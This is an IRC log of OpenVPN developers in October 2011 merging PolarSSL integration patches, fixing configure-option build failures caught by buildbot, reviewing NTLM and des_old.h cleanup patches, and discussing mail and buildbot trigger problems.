dazo_afk is now known as dazo 02:19 <@dazo> andj: I've got started with getting your stuff into master now ... I'm not completed, and haven't pushed out anything yet ... but I have a question ... 02:19 <@dazo> https://github.com/andj/openvpn-ssl-refactoring/commit/b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed ... that one should have a cleanup patch ... is that done? 02:19 <@vpnHelper> Title: Commit b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed to andj/openvpn-ssl-refactoring - GitHub (at github.com) 02:20 * dazo is in a conference these days, and will only be here adhoc 04:23 <@cron2> I'm at DENOG3 conference in frankfurt, and at meeting time, I'll be in a train 05:13 -!- novaflash_away is now known as novaflash 06:01 -!- dazo is now known as dazo_afk 07:10 -!- dazo_afk is now known as dazo 07:34 -!- novaflash is now known as novaflash_away 08:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 09:47 <@mattock> regarding the meeting... do we want/need one today? 09:53 <@dazo> mattock: I cannot join either ... not sure what's on the agenda, but my pipe is quite full with openvpn stuff 10:02 <@mattock> ok, I think it's best to skip today's meeting... I got a math exam tomorrow 10:02 <@mattock> and there's really nothing important in the agenda afaik 10:03 <+krzie> <-- has food poisoning 10:03 <+krzie> brutal =[ 10:06 <@mattock> :( 10:09 <@dazo> :( 10:09 <@dazo> mattock: sounds like a plan 10:19 <@andj> dazo: back 10:19 <@andj> let me see, cleanup patch 10:22 <@andj> dazo: the style cleanup isn't there, since we don't have a defined style yet 10:22 <@andj> (we said we'd clean up code style before 2.3 release, right? 10:23 <@andj> ) 10:23 -!- krzie is now known as krzee 11:02 <@dazo> andj: okay, then I won't try to look for it ... good argument though ... 11:02 <@dazo> a code clean-up patch should probably be one of the very last thing we applies before tagging the final 2.3 release 11:38 <@andj> I think that was what we said last time :) 11:45 * dazo probably needed memory refresh of his DRAM chips :-P 11:45 * dazo heads out 11:45 <@andj> :) 11:46 -!- dazo is now known as dazo_afk 14:10 -!- novaflash_away is now known as novaflash 16:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 16:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:00 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 18:02 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:02 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:15 -!- novaflash is now known as novaflash_away 18:16 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 18:21 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ --- Day changed Fri Oct 21 2011 02:40 -!- dazo_afk is now known as dazo 03:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 04:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:03 <@dazo> 45 PolarSSL patches applied to my local tree now ... 59 more to go ... hope to be able to push things out during the weekend 04:04 <@dazo> (+1 which was NACKed) 04:05 <@dazo> Complete update on the PolarSSL Integration wiki page 05:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 05:22 -!- dazo is now known as dazo_afk 06:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:52 -!- dazo_afk is now known as dazo 08:06 <@cron2> dazo: great! 08:14 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:35 -!- dazo is now known as dazo_afk 10:37 <@andj> dazo: wow. awesome 12:32 -!- novaflash_away is now known as novaflash 13:35 -!- novaflash is now known as novaflash_away 17:09 -!- Netsplit *.net <-> *.split quits: @dazo_afk 17:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:12 -!- Netsplit over, joins: dazo_afk 17:13 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:18 -!- novaflash_away is now known as novaflash 18:31 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 18:33 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:33 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:25 -!- raidz is now known as raidz_afk 19:26 -!- novaflash is now known as novaflash_away 20:03 -!- raidz_afk is now known as raidz 21:12 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 21:16 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:16 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ --- Day changed Sat Oct 22 2011 00:08 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 248 seconds] 00:18 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 03:23 -!- novaflash_away is now known as novaflash 05:35 -!- raidz is now known as raidz_afk 09:09 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 248 seconds] 09:09 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 11:40 <@vpnHelper> RSS Update - testtrac: Moved to PolarSSL 1.0.0: <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=eaacf8d8f289fefa9a64b85e72552f949d4c28c6> || Made SSL_CIPHER const in print_details, to fix warning <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0e282134d58b15c8fd21defb22c963e96b0d5372> || Fixed a typo: print the subject instead of the serial for 12:27 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 12:33 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:47 -!- raidz_afk is now known as raidz 13:27 -!- novaflash is now known as novaflash_away 14:55 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:14 -!- novaflash_away is now known as novaflash 20:09 -!- novaflash is now known as novaflash_away 21:13 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 21:17 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ --- Day changed Sun Oct 23 2011 03:11 <@andj> woot! 03:11 <@andj> dazo: nice work :) 03:39 -!- novaflash_away is now known as novaflash 06:05 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 06:12 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 06:26 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 08:26 -!- raidz is now known as raidz_afk 08:32 -!- raidz_afk is now known as raidz 09:33 -!- raidz is now known as raidz_afk 09:49 -!- raidz_afk is now known as raidz 09:52 -!- raidz is now known as raidz_afk 11:36 -!- raidz_afk is now known as raidz 12:04 <@cron2> shouldn't buildbot be triggering a build now? 12:32 <@mattock> hmm, no mails have arrived to the build comp 12:32 <@mattock> maybe the SF.net hook is not working properly 12:32 <@mattock> I'll trigger a rebuild manually and fix it later 12:32 <@mattock> is the tree at a stable state? (=all merged) 12:34 -!- raidz is now known as raidz_afk 12:43 <@cron2> well, let's ask buildbot :) 12:43 <@cron2> my slaves are up and running 12:55 -!- raidz_afk is now known as raidz 13:03 <@mattock> ok 13:04 <@mattock> I'll run build on one builder first, so that we don't get 128 failure mails :) 13:05 <@mattock> good so far... 13:05 <@mattock> done, worked just fine 13:06 <@mattock> running build on all buildslaves now 13:17 <@cron2> mmh 13:17 <@cron2> netbsd FAIL 13:17 <@cron2> --disable-crypto fail 13:17 <@cron2> In file included from openvpn.h:29, from forward.h:35, from forward.c:27: 13:17 <@cron2> options.h:81:3: error: #error "At least one of OpenSSL or PolarSSL needs to be 13:17 <@cron2> +defined." 13:17 <@cron2> andj: booh 13:18 <@cron2> --disable-ssl fail 13:19 <@cron2> --disable-management fail 13:19 <@cron2> ok, this tree is not ready for buildbotting :) 13:26 -!- raidz is now known as raidz_afk 13:55 -!- raidz_afk is now known as raidz 15:00 <@cron2> mattock: did you try building on openbsd? I have only seen mails from freebsd and netbsd 15:00 <@cron2> (it won't succeed either, but I'm wondering) 15:01 <@cron2> ah. buildbot client died without telling anyone... building now (... and failing) 15:58 -!- raidz is now known as raidz_afk 16:40 -!- raidz_afk is now known as raidz 17:28 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 17:37 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:37 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:12 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 21:17 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:27 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 21:36 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:36 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:52 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] --- Day changed Mon Oct 24 2011 00:49 <@andj> cron2: will have a look at it in a minute 01:18 -!- raidz is now known as raidz_afk 01:37 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 01:37 <@andj> morning 01:37 <@dazo> morning! 01:38 <@andj> just started working on the issues from yesterday 01:38 <@dazo> cool! 01:38 <@dazo> if you could have a look at (ACK) those patches I sent yesterday, I'll get them in too ... well, one of them needs to be tweaked, I see :) 01:39 <@andj> Hmm, I haven't seen those yet, let me check 01:41 <@andj> currently I'm figuring out how best to approach rebasing my tree on the master openvpn one :) 01:44 <@dazo> hmm ... how I do it in other upstream projects, is that I have my master branch to be identical to the upstream one. Then I branch out a "working branch", hack all I need, submit patches .... this one is rebased against the upstream master branch .... and when my patches are in, I drop the working branch .... I also have one working branch per feature 01:45 <@dazo> (feature can also be bug fix, for that matter) 01:46 <@dazo> andj: patches I sent: http://thread.gmane.org/gmane.network.openvpn.devel/5042 and http://thread.gmane.org/gmane.network.openvpn.devel/5044 01:46 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 01:46 <@dazo> the latter one I'm going to fix 01:46 <@dazo> (sending a v2 patch) 01:49 <@andj> thanks, will have a look at them when I've fixed my problem :) 01:50 <@dazo> thx! 01:57 <@andj> strange, that first patch 01:57 <@andj> any idea why static inline doesn't work there? 02:03 <@dazo> I have no idea ... I tracked it with gdb ... the *ev pointer looked fine in the static inline function, but when entering plugin_call_ssl(), the contents of the *ev pointer was just screwed up 02:04 <@dazo> I'm wondering if it's a gcc bug ... or if there are something odd with using static functions .... I tried to remove 'inline', without any changes ... but I didn't try to make the plugin_call() a "proper" function (moving it to plugin.c) 02:05 <@dazo> so I basically figured that the plugin_call() was just a wrapper ... and it could be just as easy to have it as a macro instead 02:06 <@andj> sure, just wondering what the underlying issue is 02:06 <@andj> I'll ask some colleagues later, perhaps they can shine some light on it 02:08 <@dazo> yeah ... I would like to understand the issue here as well ... I just needed to have the plugin API working yesterday 02:08 <@dazo> other than that ... I smoke tested username/password authentication (plugin) on master + these patches ... and that works 02:23 <@andj> I'm working on the NTLM patch atm 02:39 <@andj> I asked around, and the only theory is that an old .o without USE_SSL might have been lying around 02:46 <@dazo> hmmm ... I feel pretty sure that I did a 'make clean' ... I definitely know that ssl.c was rebuilt ... and I didn't actually test it without SSL support at all 02:47 <@cron2> andj: even so it should have worked, given that all the SSL stuff comes after *ev - and in C, extra arguments at the don't impact preceding ones 02:48 <@cron2> dazo: have you seen the build failures for --without-ssl and --without-crypto? 02:48 <@andj> depends on potential optimisations 02:48 <@andj> cron2: working on them 02:48 <@dazo> cron2: I'm about to login to the community vpn now to have a look at stuff there :) 02:49 <@andj> btw, I'm getting configure errors about "warning: AC_LANG_CONFTEST: no AC_LANG_SOURCE call detected in body" 02:49 <@cron2> andj: I don't think the compiler is allowed to change function calls unless the target function is static (but in that case it's in the same .o anyway, and moot) 02:49 <@andj> it is static in this case, so it might :) 02:50 <@andj> but true 02:50 <@cron2> andj: yes, but the static is in the same .o - so the "stale .o" would affect calling something in a different module, and I'm very sure the compiler must not "optimize" function call arguments there... 02:51 <@cron2> but indeed, it's... an intersting problem. 02:51 <@cron2> dazo: be prepared for large heaps of smoking ruins :-) 02:51 <@andj> I'm backporting my 2.1 patches for --disable-management and --disable-crypto stuff 02:51 <@andj> apparently they didn't make it into my 2.3 branch 02:51 <@andj> :( 02:51 <@dazo> cron2: hehe ... I would expect that :) ... esp. after having merged in some 100 patches :) 02:52 <@cron2> andj: thanks 02:52 <@dazo> ahh! ... so andj already have something in the pipe :) 02:52 <@cron2> dazo: it's not that bad actually :-) 02:53 <@dazo> no, I'm not scared :) 02:54 * cron2 is quite happy about the buildbot setup 02:54 * dazo too 02:55 * andj is adding some extra builds to the buildbots here 02:56 <@cron2> hehe :) 02:56 <@andj> :) 03:45 <@andj> ok, patches being mailed 03:50 <@andj> I'm looking through my 2.1 queue as well, checking whether I missed anything else 03:50 <@andj> the default cipher for PolarSSL is an example there 03:52 <@dazo> andj: is this really correct? 03:52 <@dazo> + gen_hmac_md5(userdomain_u, 2 * strlen(userdomain), md4_hash, MD5_DIGEST_LENGTH, ntlmv2_hash); 03:52 <@dazo> + char md4_hash[MD4_DIGEST_LENGTH+5]; 03:53 <@dazo> $ git grep MD4_DIGEST_LENGTH | wc -l 03:53 <@dazo> 0 03:53 <@andj> I think that might be a type 03:54 <@andj> strange, it compiles 03:54 <@andj> oh wait 03:54 <@dazo> $ git grep "#define MD5_DIGEST_LENGTH" | wc -l 03:54 <@dazo> 1 03:54 <@andj> it's defined in openssl 03:54 <@andj> which is bad 03:54 <@dazo> to which length? 03:54 <@andj> 16 (or at least it should be :)) 03:55 <@dazo> okay, so MD4 and MD5 hash lenght is the same 03:56 <@andj> yeah 03:58 <@andj> fixing up that patch now 03:59 <@andj> dazo: MD4_DIGEST_LENGTH is defined 03:59 <@andj> on liine 79 of the patch 03:59 <@andj> and line 55 04:00 <@dazo> ahh! 04:00 * dazo is blind ... and checked a git tree without the patch :/ 04:01 <@andj> I was wondering where it had run off to :) 04:01 * cron2 sends a large cup of coffee to dazo 04:01 <@dazo> yuck! :-P 04:01 * dazo is not a coffee drinker ;-) 04:02 * cron2 sends a cup of nice english tea 04:02 <@cron2> with lots of caffeine in it 04:03 * dazo accepts :) 04:08 * dazo considers to flog andj for top-posting .... ;-) 04:09 * andj was just looking through his outlook settings 04:10 * cron2 is all for flogging andj for using outlook :) 04:12 <@andj> I'm at work... And I hate evolution even more :( 04:13 <@dazo> thunderbird? 04:13 <@andj> fine for mail, not so much for calendars 04:13 <@dazo> true 04:18 * andj fired up thunderbird :) 04:28 <@dazo> heh 04:31 <@andj> step 2: --disable-management 04:32 <@cron2> less management is always welcome :) 04:36 <@andj> git gui 04:36 <@andj> oops, hate when that happens 04:36 <@andj> sorry, the alt-tab feature in oneiric is horrible 04:37 <@andj> it basically doesn't show all of your terminals 04:40 <@andj> aha, alt-~ 04:42 <@andj> cron2: next patch is up 04:48 <@cron2> andj: where? 04:48 <@andj> I mailed it a few minutes ago 04:49 <@andj> basically I'd forgotten a single #ifdef 04:49 <@cron2> not here yet, most likely sitting in greylisting / spamassassin work queue / ... somewhere 04:49 <@cron2> mail sucks 04:49 <@cron2> andj: can you point me to a web link? 04:50 <@andj> sure just a moment 04:51 <@andj> http://permalink.gmane.org/gmane.network.openvpn.devel/5056 04:51 <@vpnHelper> Title: [PATCH] Added missing #ifdef to allow --disable-managent to work again (at permalink.gmane.org) 04:51 <@andj> there you go :) 04:55 <@andj> 04:56 <@cron2> I can't claim to understand what this code does, but it looks very much like the old code in ssl.c, so ACK 04:56 <@cron2> dazo: you're listening? 04:56 * dazo looks up 04:58 <@cron2> patch acked 05:00 * cron2 still has not received the mail itself *grumble* 05:01 <@dazo> yesterday, it took time for me as well to get my own copies 05:01 <@dazo> gmane somehow picked it up quickly 05:01 <@cron2> gah 05:01 <@cron2> my virus scanner has died (and/or the clamav-milter) and so my MTA is rejecting everythign with 4.5.1 05:06 <@dazo> ouch 05:06 <@cron2> ... and the cronjob to restart it didn't work due to FreeBSD-port renaming the startup scripts, and *these* mails I didn't get either, due to the MTA not accepting anything... 05:06 * cron2 looks a bit annoyed 05:07 <@cron2> 176 mails in local submit queue, and most likely "a few more" in other people's mail queues, like sourceforge 05:08 <@cron2> oh, and mails from the submit-mta that it couldn't send the cronjob mails for 4h hours... 05:16 <@dazo> sounds like an effective plug .... 05:19 <@cron2> computers are so stupid... 05:23 <@vpnHelper> RSS Update - testtrac: Added missing #ifdef to allow --disable-managent to work again <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7c785a27bfe5267ee4aac12fe6d0a24c42e388d6> 05:29 <@cron2> andj: you also have somethign for --disable-ssl? 05:29 <@andj> that's combined with --disable-crypto 05:29 <@andj> and works for me 05:30 <@cron2> for buildbot it bombed out with 05:30 <@cron2> options.h:81:3: error: #error "At least one of OpenSSL or PolarSSL needs to be +defined." 05:30 <@cron2> (that was --disable-crypto --disable-ssl --disable-lzo --disable-management, but I've seen this error a number of times) 05:32 <@dazo> I just applied patch 2/3 locally ... and it compiles with [--disable-crypto], [--disable-ssl] and [--disable-crypto --disable-ssl] 05:33 <@cron2> well. so lets test buildbot again... 05:33 <@dazo> (even though ... --disable-crypto only should disable ssl as well) 05:33 <@andj> cron2: that one should be fixed in patch 2 05:33 <@cron2> ah 05:34 <@dazo> I'm sending an ack to patch 2, and applying/pushing it to master branches now 05:34 <@andj> which I'll send a weblink about :) 05:34 <@dazo> heh :) 05:35 <@cron2> ah, there it is 05:35 * cron2 is still mail-challenged 05:35 <@andj> http://comments.gmane.org/gmane.network.openvpn.devel/5051 05:35 <@vpnHelper> Title: OpenVPN developers list (at comments.gmane.org) 05:35 <@andj> has the thread with all three patches, and replies 05:36 <@cron2> yeah 05:36 <@andj> I'll be honest, I haven't tried --disable-lzo yet :) 05:36 <@dazo> we're just arguing about the 3rd patch now :) 05:36 <@andj> yeah, I like your compromise, dazo 05:37 <@dazo> cool :) 05:38 <@cron2> ACK on 2/3 05:39 <@cron2> "implement blowfish" might be easier than adding cipher negotiation... 05:39 <@vpnHelper> RSS Update - testtrac: Fixed disabling crypto and SSL <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=31ea2ee4ca642a4d8bbdac3dadb44eca11f52e35> 05:42 <@andj> cron2: lol, you might be right 05:43 <@andj> btw, for those interested: the oneiric pkcs11-helper is buggy 05:43 <@andj> (v1.08) 05:43 <@andj> and might not work with all tokens 05:43 <@andj> I'm running the perfect pangolin one atm 05:43 <@andj> (v1.09) 05:51 <@vpnHelper> RSS Update - testtrac: Got rid of a few magic numbers in ntlm.c <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9788322b9566101119484d992364e8b1bb1d4dd4> 05:52 <@dazo> cron2: you're lagging ... 2/3 is already ACKed and pushed out ;-) 05:52 <@andj> :) 05:52 <@cron2> dazo: you just *waited* for the day where my mail breaks down, didn't you? :-P 05:52 <@dazo> hehehe :) 05:52 <@cron2> but anyway, happy to see progress here :-) 05:53 <@dazo> I think I should do some paid work now ... just checking buildbot logs now, to see if things have improved 05:54 <@cron2> buildbot isn't doing anything, as far as I can see 05:54 <@dazo> hmm 05:54 <@cron2> mail trigger doesn't seem to be working 05:54 <@cron2> mattock said something about that yesterday already 05:54 <@dazo> ah, okay :/ 05:55 <@mattock> for the time being, you need trigger a manual rebuild from "recent builds" page 05:55 <@mattock> emails are not arriving from SF.net to buildmaster since ~Oct 9th 05:56 <@dazo> ugh 05:56 * dazo tries to trigger manually 05:57 <@cron2> I see work going on :) 05:57 <@dazo> cool! 06:00 <@dazo> netbsd isn't happy ... 06:02 <@cron2> why? 06:02 <@cron2> (can't look at the VPN build page from here) 06:02 <@dazo> configure.ac:378: warning: AC_LANG_CONFTEST: no AC_LANG_SOURCE call detected in body 06:02 <@dazo> I'll pastebin 06:02 <@cron2> my guess is "recent autoconf wants tht" 06:03 <@dazo> yeah, sounds like that 06:03 <@dazo> http://www.fpaste.org/96XA/ 06:03 <@cron2> but that's "just" a warning - does it compile otherwise? 06:03 <@dazo> it fails later on 06:03 <@cron2> yeup, that's the same error as last time 06:03 * dazo didn't want to paste 5 lines into this channel when vpnHelper is listening 06:04 <@cron2> vpnHelper really should be behaving better towards dazo 06:04 <@dazo> ^^^ see that vpnHelper!?!? ;-) 06:05 <@dazo> freebsd and openbsd seems good though 06:07 <@cron2> there is no des_key_schedule in openssl/*.h on NetBSD 06:07 <@andj> looks like it's defined in des_old.h 06:07 <@cron2> #define des_key_schedule DES_key_schedule 06:07 * andj is working on a patch 06:07 <@cron2> indeed, but we do not want des_old.h - actually, NetBSD does not even install des_old.h anymore 06:08 <@andj> weren't we going to get rid of <0.9.7 support at some point? 06:09 <@dazo> I would say 0.9.8 should be the oldest we should support 06:11 <@andj> patch sent for the obsolete stuff 06:30 < waldner> dazo: thanks for looking at my patch 06:32 <@dazo> waldner: you're welcome ... just to be clear, it's not NACKed ... but also not ACKed yet ... but maybe there is something which can be worked a bit more on? 06:32 <@dazo> Maybe find a better triggering point where these variables are set? 06:32 <@dazo> (to cover non-multihome and TCP as well as UDP proto) 06:33 <@dazo> btw ... the doxygen stuff in openvpn now works very nice ... so it's possible to understand better how things are related by enabling some of the caller/callee graphs as well 06:34 <@dazo> (but those graphs takes a while to generate the first time) 06:34 < waldner> yes, of course 06:35 < waldner> is there a reaon why the PKTINFO stuff is not enabled when --multihome is not given? 06:36 <@dazo> I have no idea ... maybe try to ask James when he passes by here 06:36 <@cron2> I'd say because the assumption was "it's not needed" 06:36 <@dazo> most likely 06:36 <@cron2> but the whole connection logic in the server is a bit... ahem... "in need of refactoring" 06:37 <@dazo> absolutely ... I'm terrified each time I need to look at socket.c 06:37 < waldner> ah, so I was not alone after all 06:37 <@dazo> :) 06:38 < waldner> always enabling that would solve the problem for udp at least 06:38 < waldner> for tcp, it looks like the code path is entirely or almost entirely separated 06:38 <@dazo> yeah, most of the tcp "multi user" stuff is in mtcp.c ... and mudp.c for UDP stuff 06:39 <@dazo> but it's not that well contained either, but somewhat it is like that 06:40 < waldner> I'll have to take a closer look *shudders* 07:02 -!- dazo [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 07:18 -!- raidz_afk is now known as raidz 07:19 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:19 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:27 -!- raidz is now known as raidz_afk 08:49 * cron2 looks and andj's most recent mail and ACKs 08:51 <@andj> thanks :) 08:52 <@andj> dazo, could you please update the git comment when you take over the patch, or shall I send out the patch again? 08:52 <@andj> cron2: is your mail working again? :) 08:53 <@cron2> it still hickups, and occasionally coughs up something as "new" that was sent this morning, but mostly it's back 08:53 <@andj> good to hear :) 08:53 <@dazo> andj: I'll take that modification on-the-fly :) 08:53 <@andj> thanks 09:01 <@dazo> andj: applied and pushing now 09:01 <@cron2> yeeha :) 09:01 <@andj> cool 09:02 <@vpnHelper> RSS Update - testtrac: Removed obsolete des_cblock and des_keyschedule <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=899e9e4c244410b1d26b84db992f137f8bcb5783> 09:06 <@dazo> andj: cron2: Looking nicer, but still not quite there: http://www.fpaste.org/gKoe/ 09:10 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 09:11 <@andj> note the extra & 09:30 <@andj> OK, next patch is up, again very simple 10:23 -!- dazo [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 10:31 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:52 <@mattock> dazo: this is why buildbot is not building: "Openvpn-commits post from dazo@users.sourceforge.net requires approval" 10:53 <@mattock> any clues why that has changed? something you did? or something I did? 10:53 <@mattock> oh, sorry... should have read the mail: "Message body is too big: 48270 bytes with a limit of 40 KB" 10:53 <@mattock> need to up the limit 10:55 < waldner> mattock: your buildbot config was very useful, thanks 10:57 <@mattock> waldner: great! 11:01 <@dazo> mattock: I have no idea .... I just laughed out when I saw that mail, I got a copy - but couldn't do anything about it 11:01 <@mattock> I'll fix it tomorrow/wed... I recall us having issues with this earlier 11:02 * dazo thought mattock needs to allow bigger body texts :) 11:02 <@mattock> I thought I fixed that, but apparently the limit needs to be boosted pretty high 11:02 <@dazo> yeah, we had that issue on -devel ... it's a parameter tweaked in the admin interface for the ML 11:02 <@dazo> it's a different parameter per list 11:21 -!- raidz_afk is now known as raidz 12:13 -!- dazo is now known as dazo_afk 12:17 <@cron2> did it auto-build now? 14:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 17:14 -!- novaflash is now known as novaflash_away 21:15 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 21:22 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 21:52 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] --- Day changed Tue Oct 25 2011 01:45 -!- novaflash_away is now known as novaflash 02:01 -!- novaflash is now known as novaflash_away 02:18 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:48 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:32 <@dazo> cron2: any chance you could have a look at the latest patch from andj and ACK it? http://thread.gmane.org/gmane.network.openvpn.devel/5069 04:32 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 04:32 <@dazo> I can tackle that today ... and then I'll be silent again for a while 04:45 <@vpnHelper> RSS Update - wishlist: Custom Client <http://forums.openvpn.net/topic9090.html> 05:01 <@cron2> dazo: ACK! 05:01 <@dazo> cron2: thx! 05:01 <@cron2> (I thought that one was "obviously correct" and needed no comment) 05:02 <@dazo> well, I haven't tried stuff at NetBSD, so I have no experience to base my judgement on here 05:03 <@cron2> it's not "NetBSD", more like "antique openssl functions that we don't want to be using" :) 05:03 <@dazo> true ... but NetBSD is bitching about it ;-) 05:03 * cron2 applauds NetBSD for kicking out des_old.h, even if its painful 05:03 <@dazo> agreed! 05:08 * dazo pushes and will force a new build 05:11 <@dazo> netbsd build successful! 05:11 <@cron2> woohoo! 05:11 <@cron2> which reminds me that my buildbot clients need t_client.rc setup... 05:12 * dazo curses after pressing CTRL-L in xchat 05:12 <@vpnHelper> RSS Update - testtrac: Further removal of des_old.h based calls <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6e8b90ec0d0a074ac529541ce9515f25b30bac88> 05:17 <@cron2> mattock: should we receive "everything compiled OK!" mails from buildbot? 05:17 * cron2 is not getting anything, but *likes* possitive messages... 05:35 -!- dazo is now known as dazo_afk 05:43 -!- dazo_afk is now known as dazo 05:45 * andj is working on the basics for an "OpenVPN-NL" site 05:46 <@dazo> woohoo! All compiles are green again :) 05:47 <@andj> nice 05:51 * dazo goes to hide again for some time :) 06:10 -!- novaflash_away is now known as novaflash 08:29 <@mattock> cron2: no, but I think that's configurable 08:32 <@mattock> btw. we need to build with polarssl, too... by default it only builds with OpenSSL, right? 08:33 <@cron2> dazo, andj: thanks a lot! 08:33 <@andj> mattock: for that you need a PolarSSL 1.0 library though, at the moment there's not too many distros that include it 08:33 <@cron2> mattock: yes... and then do interop tests... (which would fail due to "no blowfish in openssl") 08:34 <@andj> cron2: just very happy to have the code in the mainline 09:08 <@cron2> andj: so how complicated would inclusion of blowfish in PolarSSL be? 09:08 * cron2 has no clue about crypto 09:08 <@andj> No idea, but I'm a little hesitant to implement it myself :) 09:09 <@andj> and I know the current maintainer's priorities lie with elliptic curve stuff 09:09 <@andj> so more on the asymmetric front 10:47 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:59 <@dazo> mattock: at one point ... would you be able to create a new windows snapshot? ... just thought of that now 11:53 -!- dazo is now known as dazo_afk 17:31 -!- novaflash is now known as bla_ 17:32 -!- bla_ is now known as novaflash 18:40 -!- novaflash is now known as novaflash_away 18:40 -!- raidz is now known as raidz_afk 18:41 -!- raidz_afk is now known as raidz 19:06 -!- raidz is now known 